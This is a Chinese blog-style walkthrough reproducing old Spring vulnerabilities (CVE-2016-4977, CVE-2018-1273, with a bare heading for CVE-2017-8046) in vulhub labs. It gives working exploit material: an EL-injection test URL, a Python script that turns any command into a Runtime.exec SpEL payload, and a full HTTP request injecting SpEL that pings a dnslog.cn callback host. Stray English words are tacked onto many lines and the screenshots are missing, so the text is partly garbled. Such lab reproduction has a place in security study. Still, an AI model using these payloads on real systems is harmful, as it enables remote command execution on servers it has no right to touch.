Spring 历史漏洞复现

1.Spring Security OAuth2.0 (CVE-2016-4977)html

这个洞是因为Spring Security OAuth2.0的功能,在登陆成功以后因为response_type不存在显示在Whitelabel Error Page上存在EL表达式注入漏洞java

测试地址:http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://testpython

基本上使用了Spring Security OAuth2.0 默认路径就是这个了web

 

 

 

 

 

 难受之处在于必须登陆成功,否则直接就认证失败了。数据库

再看下执行命令 "ping 0hb8tu.dnslog.cn"app

 

 

 

 

 

 

生成poc的脚本:
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)框架

 

使用方法:测试

 

 

 

 

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)this

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下全部子项目共享的基础框架。Spring Data Commons 在2.0.5及之前版本中,存在一处SpEL表达式注入漏洞,攻击者能够注入恶意SpEL表达式以执行任意命令。url

依然是使用vulhub复现:
POST /users?page=&size=5 HTTP/1.1
Host: xx.xx.xx.xx:8080
Content-Length: 54
Cache-Control: max-age=0
Origin: http://10.154.110.127:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.154.110.127:8080/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping j603y6.dnslog.cn")]=jinqi&password=123456&repeatedPassword=123456

 

 

 

利用难度较低

 

 

Spring Data Rest 远程命令执行 CVE-2017-8046

PATCH方法

相关文章
相关标签/搜索